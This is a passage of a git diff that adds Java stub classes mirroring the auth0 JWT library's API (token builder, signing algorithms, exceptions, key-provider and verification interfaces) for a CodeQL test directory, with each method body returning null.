+ * This class is thread-safe.
+ */
+public final class JWTCreator {
+    /**
+     * Initialize a JWTCreator instance.
+     *
+     * @return a JWTCreator.Builder instance to configure.
+     */
+    static JWTCreator.Builder init() {
+        return null;
+    }
+
+    /**
+     * The Builder class holds the Claims that defines the JWT to be created.
+     */
+    public static class Builder {
+        Builder() {
+        }
+
+        /**
+         * Add specific Claims to set as the Header.
+         * If provided map is null then nothing is changed
+         * If provided map contains a claim with null value then that claim will be removed from the header
+         *
+         * @param headerClaims the values to use as Claims in the token's Header.
+         * @return this same Builder instance.
+         */
+        public Builder withHeader(Map<String, Object> headerClaims) {
+            return null;
+        }
+
+        /**
+         * Add a specific Key Id ("kid") claim to the Header.
+         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider, the 'kid' value will be taken from that provider and this one will be ignored.
+         *
+         * @param keyId the Key Id value.
+         * @return this same Builder instance.
+         */
+        public Builder withKeyId(String keyId) {
+            return null;
+        }
+
+        /**
+         * Add a specific Issuer ("iss") claim to the Payload.
+         *
+         * @param issuer the Issuer value.
+         * @return this same Builder instance.
+         */
+        public Builder withIssuer(String issuer) {
+            return null;
+        }
+
+        /**
+         * Add a specific Subject ("sub") claim to the Payload.
+         *
+         * @param subject the Subject value.
+         * @return this same Builder instance.
+         */
+        public Builder withSubject(String subject) {
+            return null;
+        }
+
+        /**
+         * Add a specific Audience ("aud") claim to the Payload.
+         *
+         * @param audience the Audience value.
+         * @return this same Builder instance.
+         */
+        public Builder withAudience(String... audience) {
+            return null;
+        }
+
+        /**
+         * Add a specific Expires At ("exp") claim to the Payload.
+         *
+         * @param expiresAt the Expires At value.
+         * @return this same Builder instance.
+         */
+        public Builder withExpiresAt(Date expiresAt) {
+            return null;
+        }
+
+        /**
+         * Add a specific Not Before ("nbf") claim to the Payload.
+         *
+         * @param notBefore the Not Before value.
+         * @return this same Builder instance.
+         */
+        public Builder withNotBefore(Date notBefore) {
+            return null;
+        }
+
+        /**
+         * Add a specific Issued At ("iat") claim to the Payload.
+         *
+         * @param issuedAt the Issued At value.
+         * @return this same Builder instance.
+         */
+        public Builder withIssuedAt(Date issuedAt) {
+            return null;
+        }
+
+        /**
+         * Add a specific JWT Id ("jti") claim to the Payload.
+         *
+         * @param jwtId the Token Id value.
+         * @return this same Builder instance.
+         */
+        public Builder withJWTId(String jwtId) {
+            return null;
+        }
+
+        /**
+         * Add a custom Claim value.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Boolean value) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Claim value.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Integer value) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Claim value.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Long value) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Claim value.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Double value) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Claim value.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, String value) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Claim value.
+         *
+         * @param name  the Claim's name.
+         * @param value the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withClaim(String name, Date value) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom Map Claim with the given items.
+         * <p>
+         * Accepted nested types are {@linkplain Map} and {@linkplain List} with basic types
+         * {@linkplain Boolean}, {@linkplain Integer}, {@linkplain Long}, {@linkplain Double},
+         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s cannot contain null keys or values.
+         * {@linkplain List}s can contain null elements.
+         *
+         * @param name the Claim's name.
+         * @param map  the Claim's key-values.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null, or if the map contents does not validate.
+         */
+        public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add a custom List Claim with the given items.
+         * <p>
+         * Accepted nested types are {@linkplain Map} and {@linkplain List} with basic types
+         * {@linkplain Boolean}, {@linkplain Integer}, {@linkplain Long}, {@linkplain Double},
+         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s cannot contain null keys or values.
+         * {@linkplain List}s can contain null elements.
+         *
+         * @param name the Claim's name.
+         * @param list the Claim's list of values.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null, or if the list contents does not validate.
+         */
+
+        public Builder withClaim(String name, List<?> list) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Add specific Claims to set as the Payload. If the provided map is null then
+         * nothing is changed.
+         * <p>
+         * Accepted types are {@linkplain Map} and {@linkplain List} with basic types
+         * {@linkplain Boolean}, {@linkplain Integer}, {@linkplain Long}, {@linkplain Double},
+         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s cannot contain null keys or values.
+         * {@linkplain List}s can contain null elements.
+         * </p>
+         *
+         * <p>
+         * If any of the claims are invalid, none will be added.
+         * </p>
+         *
+         * @param payloadClaims the values to use as Claims in the token's payload.
+         * @throws IllegalArgumentException if any of the claim keys or null, or if the values are not of a supported type.
+         * @return this same Builder instance.
+         */
+        public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentException {
+            return null;
+        }
+
+        /**
+         * Creates a new JWT and signs is with the given algorithm
+         *
+         * @param algorithm used to sign the JWT
+         * @return a new JWT token
+         * @throws IllegalArgumentException if the provided algorithm is null.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
+         */
+        public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
+            return null;
+        }
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/algorithms/Algorithm.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/algorithms/Algorithm.java
new file mode 100644
index 00000000000..662043eaab9
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/algorithms/Algorithm.java
@@ -0,0 +1,397 @@
+package com.auth0.jwt.algorithms;
+
+import com.auth0.jwt.exceptions.SignatureGenerationException;
+import com.auth0.jwt.exceptions.SignatureVerificationException;
+import com.auth0.jwt.interfaces.DecodedJWT;
+import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.RSAKeyProvider;
+
+import java.security.interfaces.*;
+
+/**
+ * The Algorithm class represents an algorithm to be used in the Signing or Verification process of a Token.
+ * <p>
+ * This class and its subclasses are thread-safe.
+ */
+public abstract class Algorithm {
+
+    /**
+     * Creates a new Algorithm instance using SHA256withRSA. Tokens specify this as "RS256".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid RSA256 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     */
+    public static Algorithm RSA256(RSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA256withRSA. Tokens specify this as "RS256".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid RSA256 Algorithm.
+     * @throws IllegalArgumentException if both provided Keys are null.
+     */
+    public static Algorithm RSA256(RSAPublicKey publicKey, RSAPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA256withRSA. Tokens specify this as "RS256".
+     *
+     * @param key the key to use in the verify or signing instance.
+     * @return a valid RSA256 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated use {@link #RSA256(RSAPublicKey, RSAPrivateKey)} or {@link #RSA256(RSAKeyProvider)}
+     */
+    @Deprecated
+    public static Algorithm RSA256(RSAKey key) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA384withRSA. Tokens specify this as "RS384".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid RSA384 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     */
+    public static Algorithm RSA384(RSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA384withRSA. Tokens specify this as "RS384".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid RSA384 Algorithm.
+     * @throws IllegalArgumentException if both provided Keys are null.
+     */
+    public static Algorithm RSA384(RSAPublicKey publicKey, RSAPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA384withRSA. Tokens specify this as "RS384".
+     *
+     * @param key the key to use in the verify or signing instance.
+     * @return a valid RSA384 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated use {@link #RSA384(RSAPublicKey, RSAPrivateKey)} or {@link #RSA384(RSAKeyProvider)}
+     */
+    @Deprecated
+    public static Algorithm RSA384(RSAKey key) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA512withRSA. Tokens specify this as "RS512".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid RSA512 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     */
+    public static Algorithm RSA512(RSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA512withRSA. Tokens specify this as "RS512".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid RSA512 Algorithm.
+     * @throws IllegalArgumentException if both provided Keys are null.
+     */
+    public static Algorithm RSA512(RSAPublicKey publicKey, RSAPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA512withRSA. Tokens specify this as "RS512".
+     *
+     * @param key the key to use in the verify or signing instance.
+     * @return a valid RSA512 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated use {@link #RSA512(RSAPublicKey, RSAPrivateKey)} or {@link #RSA512(RSAKeyProvider)}
+     */
+    @Deprecated
+    public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
+     *
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC256 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     *
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC384 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
+     *
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC512 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
+     *
+     * @param secret the secret bytes to use in the verify or signing instance.
+     * @return a valid HMAC256 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid ECDSA256 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
+     */
+    @Deprecated
+    public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid ECDSA256 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
+     */
+    @Deprecated
+    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     *
+     * @param secret the secret bytes to use in the verify or signing instance.
+     * @return a valid HMAC384 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
+     *
+     * @param secret the secret bytes to use in the verify or signing instance.
+     * @return a valid HMAC512 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
+        return null;
+    }
+    
+    
+
+    /**
+     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid ECDSA256 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     */
+    public static Algorithm ECDSA256(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid ECDSA256 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     */
+    public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
+     *
+     * @param key the key to use in the verify or signing instance.
+     * @return a valid ECDSA256 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated use {@link #ECDSA256(ECPublicKey, ECPrivateKey)} or {@link #ECDSA256(ECDSAKeyProvider)}
+     */
+    @Deprecated
+    public static Algorithm ECDSA256(ECKey key) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA384withECDSA. Tokens specify this as "ES384".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid ECDSA384 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     */
+    public static Algorithm ECDSA384(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA384withECDSA. Tokens specify this as "ES384".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid ECDSA384 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     */
+    public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA384withECDSA. Tokens specify this as "ES384".
+     *
+     * @param key the key to use in the verify or signing instance.
+     * @return a valid ECDSA384 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated use {@link #ECDSA384(ECPublicKey, ECPrivateKey)} or {@link #ECDSA384(ECDSAKeyProvider)}
+     */
+    @Deprecated
+    public static Algorithm ECDSA384(ECKey key) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA512withECDSA. Tokens specify this as "ES512".
+     *
+     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
+     * @return a valid ECDSA512 Algorithm.
+     * @throws IllegalArgumentException if the Key Provider is null.
+     */
+    public static Algorithm ECDSA512(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA512withECDSA. Tokens specify this as "ES512".
+     *
+     * @param publicKey  the key to use in the verify instance.
+     * @param privateKey the key to use in the signing instance.
+     * @return a valid ECDSA512 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     */
+    public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+        return null;
+    }
+
+    /**
+     * Creates a new Algorithm instance using SHA512withECDSA. Tokens specify this as "ES512".
+     *
+     * @param key the key to use in the verify or signing instance.
+     * @return a valid ECDSA512 Algorithm.
+     * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated use {@link #ECDSA512(ECPublicKey, ECPrivateKey)} or {@link #ECDSA512(ECDSAKeyProvider)}
+     */
+    @Deprecated
+    public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
+        return null;
+    }
+
+
+    public static Algorithm none() {
+        return null;
+    }
+
+    /**
+     * Getter for the Id of the Private Key used to sign the tokens. This is usually specified as the `kid` claim in the Header.
+     *
+     * @return the Key Id that identifies the Signing Key or null if it's not specified.
+     */
+    public String getSigningKeyId() {
+        return null;
+    }
+
+    /**
+     * Getter for the name of this Algorithm, as defined in the JWT Standard. i.e. "HS256"
+     *
+     * @return the algorithm name.
+     */
+    public String getName() {
+        return null;
+    }
+
+    /**
+     * Getter for the description of this Algorithm, required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
+     *
+     * @return the algorithm description.
+     */
+    String getDescription() {
+        return null;
+    }
+
+    /**
+     * Verify the given token using this Algorithm instance.
+     *
+     * @param jwt the already decoded JWT that it's going to be verified.
+     * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
+     */
+    public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
+
+    /**
+     * Sign the given content using this Algorithm instance.
+     *
+     * @param headerBytes  an array of bytes representing the base64 encoded header content to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content to be verified against the signature.
+     * @return the signature in a base64 encoded array of bytes
+     * @throws SignatureGenerationException if the Key is invalid.
+     */
+    public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
+        return null;
+    }
+
+    /**
+     * Sign the given content using this Algorithm instance.
+     *
+     * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
+     * @return the signature in a base64 encoded array of bytes
+     * @throws SignatureGenerationException if the Key is invalid.
+     * @deprecated Please use the {@linkplain #sign(byte[], byte[])} method instead.
+     */
+
+    @Deprecated
+    public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
+
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTCreationException.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTCreationException.java
new file mode 100644
index 00000000000..84644b95195
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTCreationException.java
@@ -0,0 +1,6 @@
+package com.auth0.jwt.exceptions;
+
+public class JWTCreationException extends RuntimeException {
+    public JWTCreationException(String message, Throwable cause) {
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTDecodeException.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTDecodeException.java
new file mode 100644
index 00000000000..1fe76bb12e5
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTDecodeException.java
@@ -0,0 +1,9 @@
+package com.auth0.jwt.exceptions;
+
+public class JWTDecodeException extends RuntimeException {
+    public JWTDecodeException(String message) {
+    }
+
+    public JWTDecodeException(String message, Throwable cause) {
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTVerificationException.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTVerificationException.java
new file mode 100644
index 00000000000..6cb0536aa47
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/JWTVerificationException.java
@@ -0,0 +1,9 @@
+package com.auth0.jwt.exceptions;
+
+public class JWTVerificationException extends RuntimeException {
+    public JWTVerificationException(String message) {
+    }
+
+    public JWTVerificationException(String message, Throwable cause) {
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/SignatureGenerationException.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/SignatureGenerationException.java
new file mode 100644
index 00000000000..415f8fa3189
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/SignatureGenerationException.java
@@ -0,0 +1,8 @@
+package com.auth0.jwt.exceptions;
+
+import com.auth0.jwt.algorithms.Algorithm;
+
+public class SignatureGenerationException extends RuntimeException {
+    public SignatureGenerationException(Algorithm algorithm, Throwable cause) {
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/SignatureVerificationException.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/SignatureVerificationException.java
new file mode 100644
index 00000000000..b317bd8b3ee
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/exceptions/SignatureVerificationException.java
@@ -0,0 +1,13 @@
+
+   
+package com.auth0.jwt.exceptions;
+
+import com.auth0.jwt.algorithms.Algorithm;
+
+public class SignatureVerificationException extends RuntimeException {
+    public SignatureVerificationException(Algorithm algorithm) {
+    }
+
+    public SignatureVerificationException(Algorithm algorithm, Throwable cause) {
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/DecodedJWT.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/DecodedJWT.java
new file mode 100644
index 00000000000..ba0fb21963d
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/DecodedJWT.java
@@ -0,0 +1,37 @@
+package com.auth0.jwt.interfaces;
+
+/**
+ * Class that represents a Json Web Token that was decoded from it's string representation.
+ */
+public interface DecodedJWT {
+    /**
+     * Getter for the String Token used to create this JWT instance.
+     *
+     * @return the String Token.
+     */
+    String getToken();
+
+    /**
+     * Getter for the Header contained in the JWT as a Base64 encoded String.
+     * This represents the first part of the token.
+     *
+     * @return the Header of the JWT.
+     */
+    String getHeader();
+
+    /**
+     * Getter for the Payload contained in the JWT as a Base64 encoded String.
+     * This represents the second part of the token.
+     *
+     * @return the Payload of the JWT.
+     */
+    String getPayload();
+
+    /**
+     * Getter for the Signature contained in the JWT as a Base64 encoded String.
+     * This represents the third part of the token.
+     *
+     * @return the Signature of the JWT.
+     */
+    String getSignature();
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/ECDSAKeyProvider.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/ECDSAKeyProvider.java
new file mode 100644
index 00000000000..81f3382b13a
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/ECDSAKeyProvider.java
@@ -0,0 +1,10 @@
+package com.auth0.jwt.interfaces;
+
+import java.security.interfaces.ECPrivateKey;
+import java.security.interfaces.ECPublicKey;
+
+/**
+ * Elliptic Curve (EC) Public/Private Key provider.
+ */
+public interface ECDSAKeyProvider extends KeyProvider<ECPublicKey, ECPrivateKey> {
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/JWTVerifier.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/JWTVerifier.java
new file mode 100644
index 00000000000..76a889fbe70
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/JWTVerifier.java
@@ -0,0 +1,25 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.exceptions.JWTVerificationException;
+
+
+public interface JWTVerifier {
+
+    /**
+     * Performs the verification against the given Token
+     *
+     * @param token to verify.
+     * @return a verified and decoded JWT.
+     * @throws JWTVerificationException if any of the verification steps fail
+     */
+    DecodedJWT verify(String token) throws JWTVerificationException;
+
+    /**
+     * Performs the verification against the given decoded JWT
+     *
+     * @param jwt to verify.
+     * @return a verified and decoded JWT.
+     * @throws JWTVerificationException if any of the verification steps fail
+     */
+    DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException;
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/KeyProvider.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/KeyProvider.java
new file mode 100644
index 00000000000..57645efc1e1
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/KeyProvider.java
@@ -0,0 +1,35 @@
+package com.auth0.jwt.interfaces;
+
+import java.security.PrivateKey;
+import java.security.PublicKey;
+
+/**
+ * Generic Public/Private Key provider.
+ *
+ * @param <U> the class that represents the Public Key
+ * @param <R> the class that represents the Private Key
+ */
+interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
+
+    /**
+     * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.
+     *
+     * @param keyId the Key Id specified in the Token's Header or null if none is available. Provides a hint on which Public Key to use to verify the token's signature.
+     * @return the Public Key instance
+     */
+    U getPublicKeyById(String keyId);
+
+    /**
+     * Getter for the Private Key instance. Used to sign the content on the JWT signing stage.
+     *
+     * @return the Private Key instance
+     */
+    R getPrivateKey();
+
+    /**
+     * Getter for the Id of the Private Key used to sign the tokens. This represents the `kid` claim and will be placed in the Header.
+     *
+     * @return the Key Id that identifies the Private Key or null if it's not specified.
+     */
+    String getPrivateKeyId();
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/RSAKeyProvider.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/RSAKeyProvider.java
new file mode 100644
index 00000000000..215744c6d68
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/RSAKeyProvider.java
@@ -0,0 +1,10 @@
+package com.auth0.jwt.interfaces;
+
+import java.security.interfaces.RSAPrivateKey;
+import java.security.interfaces.RSAPublicKey;
+
+/**
+ * RSA Public/Private Key provider.
+ */
+public interface RSAKeyProvider extends KeyProvider<RSAPublicKey, RSAPrivateKey> {
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/Verification.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/Verification.java
new file mode 100644
index 00000000000..8567d24498a
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/interfaces/Verification.java
@@ -0,0 +1,189 @@
+package com.auth0.jwt.interfaces;
+
+import java.util.Date;
+
+/**
+ * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
+ */
+public interface Verification {
+    /**
+     * Require a specific Issuer ("iss") claim.
+     *
+     * @param issuer the required Issuer value. If multiple values are given, the claim must at least match one of them
+     * @return this same Verification instance.
+     */
+    Verification withIssuer(String... issuer);
+
+    /**
+     * Require a specific Subject ("sub") claim.
+     *
+     * @param subject the required Subject value
+     * @return this same Verification instance.
+     */
+    Verification withSubject(String subject);
+
+    /**
